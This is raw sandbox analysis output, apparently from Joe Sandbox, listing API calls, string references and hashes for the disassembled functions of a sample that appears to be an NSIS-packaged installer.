SendMessageW.USER32(?,00000151,00000000,00000000), ref: 00404E1A
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404EB0
SendMessageW.USER32(?,0000110A,00000003,00000000), ref: 00404EDB
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404EEF
GetWindowLongW.USER32(?,000000F0), ref: 00404F1E
SetWindowLongW.USER32(?,000000F0,00000000), ref: 00404F2C
ShowWindow.USER32(?,00000005), ref: 00404F3D
SendMessageW.USER32(?,00000419,00000000,?), ref: 0040503A
SendMessageW.USER32(?,00000147,00000000,00000000), ref: 0040509F
SendMessageW.USER32(?,00000150,00000000,00000000), ref: 004050B4
SendMessageW.USER32(?,00000420,00000000,00000020), ref: 004050D8
SendMessageW.USER32(?,00000200,00000000,00000000), ref: 004050F8
ImageList_Destroy.COMCTL32(?), ref: 0040510D
GlobalFree.KERNEL32(?), ref: 0040511D
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00405196
SendMessageW.USER32(?,00001102,?,?), ref: 0040523F
SendMessageW.USER32(?,0000113F,00000000,00000008), ref: 0040524E
InvalidateRect.USER32(?,00000000,?), ref: 0040526E
ShowWindow.USER32(?,00000000), ref: 004052BC
GetDlgItem.USER32(?,000003FE), ref: 004052C7
ShowWindow.USER32(00000000), ref: 004052CE

Strings

M, xrefs: 00404E97
, xrefs: 004052A6
N, xrefs: 00404F78

Memory Dump Source

Source File: 00000003.00000002.7553492156.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.7553454503.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.7553528536.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.7553564922.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.7553605570.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.jbxd

Similarity

API ID: MessageSend$Window$ImageItemList_LongShow$Global$AllocBitmapCreateDeleteDestroyFreeInvalidateLoadMaskedObjectRect
String ID: $M$N
API String ID: 1638840714-813528018
Opcode ID: 7e5d6db2f2096b5cb4024e3d37a48845d64c1ad6ed63f1bdcdfba9ff7efaf94e
Instruction ID: fabf201a6726aaeed1f236dd7cd6744ceb795820712aa309ba6ddf90c5850425
Opcode Fuzzy Hash: 7e5d6db2f2096b5cb4024e3d37a48845d64c1ad6ed63f1bdcdfba9ff7efaf94e
Instruction Fuzzy Hash: A4027DB0A00209EFDF209F54CD85AAE7BB5FB44314F50817AE610BA2E0D7799E52DF58

Function 00405A03 Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 148filestringCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNEL32(?,?,758E3420,758E2EE0,00000000), ref: 00405A2C
lstrcatW.KERNEL32(00425730,\*.*,00425730,?,?,758E3420,758E2EE0,00000000), ref: 00405A74
lstrcatW.KERNEL32(?,0040A014,?,00425730,?,?,758E3420,758E2EE0,00000000), ref: 00405A97
lstrlenW.KERNEL32(?,?,0040A014,?,00425730,?,?,758E3420,758E2EE0,00000000), ref: 00405A9D
FindFirstFileW.KERNEL32(00425730,?,?,?,0040A014,?,00425730,?,?,758E3420,758E2EE0,00000000), ref: 00405AAD
FindNextFileW.KERNEL32(00000000,00000010,000000F2,?,?,?,?,0000002E), ref: 00405B4D
FindClose.KERNEL32(00000000), ref: 00405B5C

Strings

0WB, xrefs: 00405A5C
\*.*, xrefs: 00405A6E

Memory Dump Source

Source File: 00000003.00000002.7553492156.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.7553454503.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.7553528536.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.7553564922.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.7553605570.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.jbxd

Similarity

API ID: FileFind$lstrcat$CloseDeleteFirstNextlstrlen
String ID: 0WB$\*.*
API String ID: 2035342205-351390296
Opcode ID: 3361e8d730ce49dda6b873af9cb242ec702310676dc5fe190db690c4f35e5cae
Instruction ID: 3abc1f52a39f62d65ddaa07d2a5323def7e4f5b1e1581b0ba6d8596f0725500f
Opcode Fuzzy Hash: 3361e8d730ce49dda6b873af9cb242ec702310676dc5fe190db690c4f35e5cae
Instruction Fuzzy Hash: FA41CE30901A18AADB31AB668C89ABF7678EF41714F10427BF801711D1D7BC69829E6E

Function 004068DA Relevance: 5.4, APIs: 4, Instructions: 382COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.7553492156.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.7553454503.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.7553528536.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.7553564922.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.7553605570.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c82c24978351f7c13972ed02e311308c491194f519d2ef9506af47d33a0889c0
Instruction ID: a9eeadc94889c10b02ffd6b9c25b4bb5d01c95f6ce45251ce11bee8d9ce53b4a
Opcode Fuzzy Hash: c82c24978351f7c13972ed02e311308c491194f519d2ef9506af47d33a0889c0
Instruction Fuzzy Hash: BFF18671D04229CBCF28CFA8C8946ADBBB1FF45305F25816ED856BB281C7785A86CF45

Function 00406555 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 14fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(758E3420,00426778,00425F30,00405D17,00425F30,00425F30,00000000,00425F30,00425F30,758E3420,?,758E2EE0,00405A23,?,758E3420,758E2EE0), ref: 00406560
FindClose.KERNEL32(00000000), ref: 0040656C

Strings

xgB, xrefs: 00406556

Memory Dump Source

Source File: 00000003.00000002.7553492156.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.7553454503.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.7553528536.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.7553564922.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.7553605570.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID: xgB
API String ID: 2295610775-399326502
Opcode ID: 4403a27f78f835125bd15cd158b53f866fd18ebbb8f54cd400289453990cbd04
Instruction ID: a17ed3a5ae88bd5f55df5b749dd223de66f1ff534e9406d7b6838b5a0b6fdea6
Opcode Fuzzy Hash: 4403a27f78f835125bd15cd158b53f866fd18ebbb8f54cd400289453990cbd04
Instruction Fuzzy Hash: 6FD01231904530ABC3111778BE0CC5B7A689F553717628F36F466F12F4C7348C22869C

Function 004054B0 Relevance: 66.8, APIs: 36, Strings: 2, Instructions: 284windowclipboardmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,00000403), ref: 0040550E
GetDlgItem.USER32(?,000003EE), ref: 0040551D
GetClientRect.USER32(?,?), ref: 0040555A
GetSystemMetrics.USER32(00000002), ref: 00405561
SendMessageW.USER32(?,00001061,00000000,?), ref: 00405582
SendMessageW.USER32(?,00001036,00004000,00004000), ref: 00405593
SendMessageW.USER32(?,00001001,00000000,00000110), ref: 004055A6
SendMessageW.USER32(?,00001026,00000000,00000110), ref: 004055B4
SendMessageW.USER32(?,00001024,00000000,?), ref: 004055C7
ShowWindow.USER32(00000000,?,0000001B,000000FF), ref: 004055E9
ShowWindow.USER32(?,00000008), ref: 004055FD
GetDlgItem.USER32(?,000003EC), ref: 0040561E
SendMessageW.USER32(00000000,00000401,00000000,75300000), ref: 0040562E
SendMessageW.USER32(00000000,00000409,00000000,?), ref: 00405647
SendMessageW.USER32(00000000,00002001,00000000,00000110), ref: 00405653
GetDlgItem.USER32(?,000003F8), ref: 0040552C

Part of subcall function 0040430B: SendMessageW.USER32(00000028,?,?,00404137), ref: 00404319

GetDlgItem.USER32(?,000003EC), ref: 00405670
CreateThread.KERNEL32(00000000,00000000,Function_00005444,00000000), ref: 0040567E
CloseHandle.KERNEL32(00000000), ref: 00405685
ShowWindow.USER32(00000000), ref: 004056A9
ShowWindow.USER32(?,00000008), ref: 004056AE
ShowWindow.USER32(00000008), ref: 004056F8
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 0040572C
CreatePopupMenu.USER32 ref: 0040573D
AppendMenuW.USER32(00000000,00000000,00000001,00000000), ref: 00405751
GetWindowRect.USER32(?,?), ref: 00405771
TrackPopupMenu.USER32(00000000,00000180,?,?,00000000,?,00000000), ref: 0040578A
SendMessageW.USER32(?,00001073,00000000,?), ref: 004057C2
OpenClipboard.USER32(00000000), ref: 004057D2
EmptyClipboard.USER32 ref: 004057D8
GlobalAlloc.KERNEL32(00000042,00000000), ref: 004057E4
GlobalLock.KERNEL32(00000000), ref: 004057EE
SendMessageW.USER32(?,00001073,00000000,?), ref: 00405802
GlobalUnlock.KERNEL32(00000000), ref: 00405822
SetClipboardData.USER32(0000000D,00000000), ref: 0040582D
CloseClipboard.USER32 ref: 00405833

Strings

(7B, xrefs: 0040579E
{, xrefs: 00405716

Memory Dump Source

Source File: 00000003.00000002.7553492156.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.7553454503.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.7553528536.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.7553564922.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.7553605570.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.jbxd

Similarity

API ID: MessageSend$Window$ItemShow$Clipboard$GlobalMenu$CloseCreatePopupRect$AllocAppendClientDataEmptyHandleLockMetricsOpenSystemThreadTrackUnlock
String ID: (7B${
API String ID: 590372296-525222780
Opcode ID: 7b81bef466eecf8fc5be03d0848493cde9c99909255717e814f3fde5b1f34138
Instruction ID: 42ee76c5c0789c909e5484b793d5ed8b68dab9236198efc003755603ec60545b
Opcode Fuzzy Hash: 7b81bef466eecf8fc5be03d0848493cde9c99909255717e814f3fde5b1f34138
Instruction Fuzzy Hash: A4B16971900608FFDB119FA0DD89AAE7B79FB08354F00847AFA45B61A0CB754E51DF68

Function 00403DFE Relevance: 58.1, APIs: 32, Strings: 1, Instructions: 345windowstringCOMMON

Download Yara Rule

APIs

SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 00403E3A
ShowWindow.USER32(?), ref: 00403E57
DestroyWindow.USER32 ref: 00403E6B
SetWindowLongW.USER32(?,00000000,00000000), ref: 00403E87
GetDlgItem.USER32(?,?), ref: 00403EA8
SendMessageW.USER32(00000000,000000F3,00000000,00000000), ref: 00403EBC
IsWindowEnabled.USER32(00000000), ref: 00403EC3
GetDlgItem.USER32(?,?), ref: 00403F71
GetDlgItem.USER32(?,00000002), ref: 00403F7B
SetClassLongW.USER32(?,000000F2,?), ref: 00403F95
SendMessageW.USER32(0000040F,00000000,?,?), ref: 00403FE6
GetDlgItem.USER32(?,00000003), ref: 0040408C
ShowWindow.USER32(00000000,?), ref: 004040AD
EnableWindow.USER32(?,?), ref: 004040BF
EnableWindow.USER32(?,?), ref: 004040DA
GetSystemMenu.USER32(?,00000000,0000F060,?), ref: 004040F0
EnableMenuItem.USER32(00000000), ref: 004040F7
SendMessageW.USER32(?,000000F4,00000000,?), ref: 0040410F
SendMessageW.USER32(?,00000401,00000002,00000000), ref: 00404122
lstrlenW.KERNEL32(00423728,?,00423728,00429240), ref: 0040414B
SetWindowTextW.USER32(?,00423728), ref: 0040415F
ShowWindow.USER32(?,0000000A), ref: 00404293

Strings

(7B, xrefs: 00404137

Memory Dump Source

Source File: 00000003.00000002.7553492156.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.7553454503.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.7553528536.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.7553564922.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.7553605570.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.jbxd

Similarity

API ID: Window$Item$MessageSend$EnableShow$LongMenu$ClassDestroyEnabledSystemTextlstrlen
String ID: (7B
API String ID: 184305955-3251261122
Opcode ID: f84e0689071363ab1477e1e696561a800ba91aab3b6c651aaae0fe4fec38bdf6
Instruction ID: fc2721e09aaab4c72f4ebfdf2c157598dee1e076b88a1be66e463b94688f5fa6
Opcode Fuzzy Hash: f84e0689071363ab1477e1e696561a800ba91aab3b6c651aaae0fe4fec38bdf6
Instruction Fuzzy Hash: 6BC1C2B1600201FFCB21AF61ED85E2B3AB9EB95345F40057EFA41B11F0CB7998529B2D

Function 00404473 Relevance: 40.5, APIs: 20, Strings: 3, Instructions: 207windowstringCOMMON

Download Yara Rule

APIs

CheckDlgButton.USER32(?,-0000040A,?), ref: 00404511
GetDlgItem.USER32(?,000003E8), ref: 00404525
SendMessageW.USER32(00000000,0000045B,?,00000000), ref: 00404542
GetSysColor.USER32(?), ref: 00404553
SendMessageW.USER32(00000000,00000443,00000000,?), ref: 00404561
SendMessageW.USER32(00000000,00000445,00000000,04010000), ref: 0040456F
lstrlenW.KERNEL32(?), ref: 00404574
SendMessageW.USER32(00000000,00000435,00000000,00000000), ref: 00404581
SendMessageW.USER32(00000000,00000449,00000110,00000110), ref: 00404596
GetDlgItem.USER32(?,0000040A), ref: 004045EF
SendMessageW.USER32(00000000), ref: 004045F6
GetDlgItem.USER32(?,000003E8), ref: 00404621
SendMessageW.USER32(00000000,0000044B,00000000,00000201), ref: 00404664
LoadCursorW.USER32(00000000,00007F02), ref: 00404672
SetCursor.USER32(00000000), ref: 00404675
ShellExecuteW.SHELL32(0000070B,open,004281E0,00000000,00000000,?), ref: 0040468A
LoadCursorW.USER32(00000000,00007F00), ref: 00404696
SetCursor.USER32(00000000), ref: 00404699
SendMessageW.USER32(00000111,?,00000000), ref: 004046C8
SendMessageW.USER32(00000010,00000000,00000000), ref: 004046DA

Strings

C@, xrefs: 0040467F
open, xrefs: 00404682
N, xrefs: 0040460F

Memory Dump Source

Source File: 00000003.00000002.7553492156.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.7553454503.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.7553528536.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.7553564922.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.7553605570.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.jbxd

Similarity

API ID: MessageSend$Cursor$Item$Load$ButtonCheckColorExecuteShelllstrlen
String ID: N$open$C@
API String ID: 3615053054-346628716
Opcode ID: 20fac1330af19db95ab999e4fecb6d9798aa17533202641e6ca464adf65f76bc
Instruction ID: 5d26fd4bbf68afdbde40cdeb5130b050e05e11fe2774b22c09997c19ee455d7e
Opcode Fuzzy Hash: 20fac1330af19db95ab999e4fecb6d9798aa17533202641e6ca464adf65f76bc
Instruction Fuzzy Hash: 507193B1A00209BFDB109F60DD85E6A7B69FB85344F00843AFA41B62E0D77D9961DF68

Function 00403A5B Relevance: 38.7, APIs: 13, Strings: 9, Instructions: 215stringregistryCOMMON

Download Yara Rule

APIs

Part of subcall function 004065EC: GetModuleHandleA.KERNEL32(?,00000020,?,004034B3,00000009), ref: 004065FE
Part of subcall function 004065EC: GetProcAddress.KERNEL32(00000000,?), ref: 00406619

lstrcatW.KERNEL32(00437000,00423728,80000001,Control Panel\Desktop\ResourceLocale,00000000,00423728,00000000,00000002,758E3420,00437800,00435000,00000000), ref: 00403ADC
lstrlenW.KERNEL32(004281E0,?,?,?,004281E0,00000000,00435800,00437000,00423728,80000001,Control Panel\Desktop\ResourceLocale,00000000,00423728,00000000,00000002,758E3420), ref: 00403B5C
lstrcmpiW.KERNEL32(004281D8,.exe,004281E0,?,?,?,004281E0,00000000,00435800,00437000,00423728,80000001,Control Panel\Desktop\ResourceLocale,00000000,00423728,00000000), ref: 00403B6F
GetFileAttributesW.KERNEL32(004281E0), ref: 00403B7A
LoadImageW.USER32(00000067,?,00000000,00000000,00008040,00435800), ref: 00403BC3

Part of subcall function 00406159: wsprintfW.USER32 ref: 00406166

RegisterClassW.USER32(004291E0), ref: 00403C00
SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 00403C18
CreateWindowExW.USER32(00000080,_Nb,00000000,80000000,?,?,?,?,00000000,00000000,00000000), ref: 00403C4D
ShowWindow.USER32(00000005,00000000), ref: 00403C83
GetClassInfoW.USER32(00000000,RichEdit20W,004291E0), ref: 00403CAF
GetClassInfoW.USER32(00000000,RichEdit,004291E0), ref: 00403CBC
RegisterClassW.USER32(004291E0), ref: 00403CC5
DialogBoxParamW.USER32(?,00000000,00403DFE,00000000), ref: 00403CE4

Strings

(7B, xrefs: 00403A87
RichEd20, xrefs: 00403C89
.exe, xrefs: 00403B69
RichEdit20W, xrefs: 00403CA7, 00403CAD
RichEd32, xrefs: 00403C97
Control Panel\Desktop\ResourceLocale, xrefs: 00403A8F
_Nb, xrefs: 00403BDF, 00403C47
RichEdit, xrefs: 00403CB6
.DEFAULT\Control Panel\International, xrefs: 00403AC7

Memory Dump Source

Source File: 00000003.00000002.7553492156.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.7553454503.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.7553528536.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.7553564922.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.7553605570.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.jbxd

Similarity

API ID: Class$Info$RegisterWindow$AddressAttributesCreateDialogFileHandleImageLoadModuleParamParametersProcShowSystemlstrcatlstrcmpilstrlenwsprintf
String ID: (7B$.DEFAULT\Control Panel\International$.exe$Control Panel\Desktop\ResourceLocale$RichEd20$RichEd32$RichEdit$RichEdit20W$_Nb
API String ID: 1975747703-1425696872
Opcode ID: 79ced56dd26c0ff77d64edd357f236dd0286a48db6ccf6fd94af835ac0c2a086
Instruction ID: a49deb01357f173a4aad96dc60f9d02752f373419f451c4cfac2514e29acbaba
Opcode Fuzzy Hash: 79ced56dd26c0ff77d64edd357f236dd0286a48db6ccf6fd94af835ac0c2a086
Instruction Fuzzy Hash: ED61C370240300BAD620AF669D45E2B3A7CEB84749F40457EF941B22E2DB7D9D52CA2D

Function 00401000 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 125COMMON

Download Yara Rule

APIs

DefWindowProcW.USER32(?,00000046,?,?), ref: 0040102C
BeginPaint.USER32(?,?), ref: 00401047
GetClientRect.USER32(?,?), ref: 0040105B
CreateBrushIndirect.GDI32(00000000), ref: 004010CF
FillRect.USER32(00000000,?,00000000), ref: 004010E4
DeleteObject.GDI32(?), ref: 004010ED
CreateFontIndirectW.GDI32(?), ref: 00401105
SetBkMode.GDI32(00000000,?), ref: 00401126
SetTextColor.GDI32(00000000,000000FF), ref: 00401130
SelectObject.GDI32(00000000,?), ref: 00401140
DrawTextW.USER32(00000000,00429240,000000FF,00000010,00000820), ref: 00401156
SelectObject.GDI32(00000000,00000000), ref: 00401160
DeleteObject.GDI32(?), ref: 00401165
EndPaint.USER32(?,?), ref: 0040116E

Strings

F, xrefs: 0040100C

Memory Dump Source

Source File: 00000003.00000002.7553492156.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.7553454503.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.7553528536.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.7553564922.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.7553605570.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.jbxd

Similarity

API ID: Object$CreateDeleteIndirectPaintRectSelectText$BeginBrushClientColorDrawFillFontModeProcWindow
String ID: F
API String ID: 941294808-1304234792
Opcode ID: 709e975422cda7ccbb1a7a25ffea5b6ea87087be701c8afe7ff27c60fd663942
Instruction ID: fbc3582f0be17511ef24b6208279bd62f68a22b1f89f17edcf88e24f0ff4dafb
Opcode Fuzzy Hash: 709e975422cda7ccbb1a7a25ffea5b6ea87087be701c8afe7ff27c60fd663942
Instruction Fuzzy Hash: 8E418A71800209AFCF058F95DE459AFBBB9FF44310F00842EF991AA1A0C738EA55DFA4

Function 00405F41 Relevance: 24.6, APIs: 11, Strings: 3, Instructions: 131stringmemoryCOMMON

Download Yara Rule

APIs

lstrcpyW.KERNEL32(00426DC8,NUL,?,00000000,?,?,004060D4,?,?), ref: 00405F50
CloseHandle.KERNEL32(00000000,?,00000000,?,?,?,004060D4,?,?), ref: 00405F74
GetShortPathNameW.KERNEL32(?,00426DC8,00000400), ref: 00405F7D

Part of subcall function 00405D4C: lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,0040602D,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405D5C
Part of subcall function 00405D4C: lstrlenA.KERNEL32(00000000,?,00000000,0040602D,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405D8E

GetShortPathNameW.KERNEL32(004275C8,004275C8,00000400), ref: 00405F9A
wsprintfA.USER32 ref: 00405FB8
GetFileSize.KERNEL32(00000000,00000000,004275C8,C0000000,00000004,004275C8,?,?,?,?,?), ref: 00405FF3
GlobalAlloc.KERNEL32(00000040,0000000A,?,?,?,?), ref: 00406002
lstrcpyA.KERNEL32(00000000,[Rename],00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 0040603A
SetFilePointer.KERNEL32(0040A588,00000000,00000000,00000000,00000000,004269C8,00000000,-0000000A,0040A588,00000000,[Rename],00000000,00000000,00000000), ref: 00406090
GlobalFree.KERNEL32(00000000), ref: 004060A1
CloseHandle.KERNEL32(00000000,?,?,?,?), ref: 004060A8

Part of subcall function 00405DE7: GetFileAttributesW.KERNEL32(00000003,00402F18,00438800,80000000,00000003), ref: 00405DEB
Part of subcall function 00405DE7: CreateFileW.KERNEL32(?,?,?,00000000,?,00000001,00000000), ref: 00405E0D

Strings

NUL, xrefs: 00405F4A
%ls=%ls, xrefs: 00405FAE
[Rename], xrefs: 00406022, 00406034

Memory Dump Source

Source File: 00000003.00000002.7553492156.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.7553454503.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.7553528536.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.7553564922.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.7553605570.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.jbxd

Similarity

API ID: File$CloseGlobalHandleNamePathShortlstrcpylstrlen$AllocAttributesCreateFreePointerSizewsprintf
String ID: %ls=%ls$NUL$[Rename]
API String ID: 222337774-899692902
Opcode ID: 7a31f0ca2a0c3c6aeb2afde018fafd2c9dbddcd7edc30aa6bda7bedb692985a5
Instruction ID: 33b5be0cf5b447351be1faad876236776c79ee828f4547529858959512194336
Opcode Fuzzy Hash: 7a31f0ca2a0c3c6aeb2afde018fafd2c9dbddcd7edc30aa6bda7bedb692985a5
Instruction Fuzzy Hash: 6F3126702407147FC220AB219D09F6B3A9CEF45798F16003BF942F62D2DA7CD8218ABD

Function 00404771 Relevance: 21.3, APIs: 10, Strings: 2, Instructions: 275stringCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003FB), ref: 004047C0
SetWindowTextW.USER32(00000000,?), ref: 004047EA
SHBrowseForFolderW.SHELL32(?), ref: 0040489B
CoTaskMemFree.OLE32(00000000), ref: 004048A6
lstrcmpiW.KERNEL32(004281E0,00423728,00000000,?,?), ref: 004048D8
lstrcatW.KERNEL32(?,004281E0), ref: 004048E4
SetDlgItemTextW.USER32(?,000003FB,?), ref: 004048F6

Part of subcall function 0040593B: GetDlgItemTextW.USER32(?,?,00000400,0040492D), ref: 0040594E

Part of subcall function 004064A6: CharNextW.USER32(?,*?|<>/":,00000000,00000000,758E3420,00437800,00435000,00403425,00437800,00437800,00403672), ref: 00406509
Part of subcall function 004064A6: CharNextW.USER32(?,?,?,00000000), ref: 00406518
Part of subcall function 004064A6: CharNextW.USER32(?,00000000,758E3420,00437800,00435000,00403425,00437800,00437800,00403672), ref: 0040651D
Part of subcall function 004064A6: CharPrevW.USER32(?,?,758E3420,00437800,00435000,00403425,00437800,00437800,00403672), ref: 00406530

GetDiskFreeSpaceW.KERNEL32(004216F8,?,?,0000040F,?,004216F8,004216F8,?,?,004216F8,?,?,000003FB,?), ref: 004049B9
MulDiv.KERNEL32(?,0000040F,00000400), ref: 004049D4

Part of subcall function 00404B2D: lstrlenW.KERNEL32(00423728,00423728,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,?,000000DF,00000000,00000400,?), ref: 00404BCE
Part of subcall function 00404B2D: wsprintfW.USER32 ref: 00404BD7
Part of subcall function 00404B2D: SetDlgItemTextW.USER32(?,00423728), ref: 00404BEA

Strings

A, xrefs: 00404894
(7B, xrefs: 0040486E

Memory Dump Source

Source File: 00000003.00000002.7553492156.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.7553454503.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.7553528536.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.7553564922.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.7553605570.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.jbxd

Similarity

API ID: CharItemText$Next$Free$BrowseDiskFolderPrevSpaceTaskWindowlstrcatlstrcmpilstrlenwsprintf
String ID: (7B$A
API String ID: 2624150263-3645020878
Opcode ID: 191733ff5b5d9becb13fbf8f332b56dc9348a39c1b60d49dd0cb3c1ff44a3ff1
Instruction ID: 8b4fcc303a4382937c11c1a66aa2d821073b610587f94151fb5846b241658984
Opcode Fuzzy Hash: 191733ff5b5d9becb13fbf8f332b56dc9348a39c1b60d49dd0cb3c1ff44a3ff1
Instruction Fuzzy Hash: 13A14FF1A00209ABDB11AFA5C941AAF77B8EF84314F10847BF611B62D1D77C8A418F6D

Function 00402ED5 Relevance: 19.5, APIs: 5, Strings: 6, Instructions: 203memoryCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00402EE9
GetModuleFileNameW.KERNEL32(00000000,00438800,00000400), ref: 00402F05

Part of subcall function 00405DE7: GetFileAttributesW.KERNEL32(00000003,00402F18,00438800,80000000,00000003), ref: 00405DEB
Part of subcall function 00405DE7: CreateFileW.KERNEL32(?,?,?,00000000,?,00000001,00000000), ref: 00405E0D

GetFileSize.KERNEL32(00000000,00000000,00439000,00000000,00436800,00436800,00438800,00438800,80000000,00000003), ref: 00402F4E
GlobalAlloc.KERNEL32(00000040,0040A230), ref: 00403095

Strings

Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author , xrefs: 0040312C
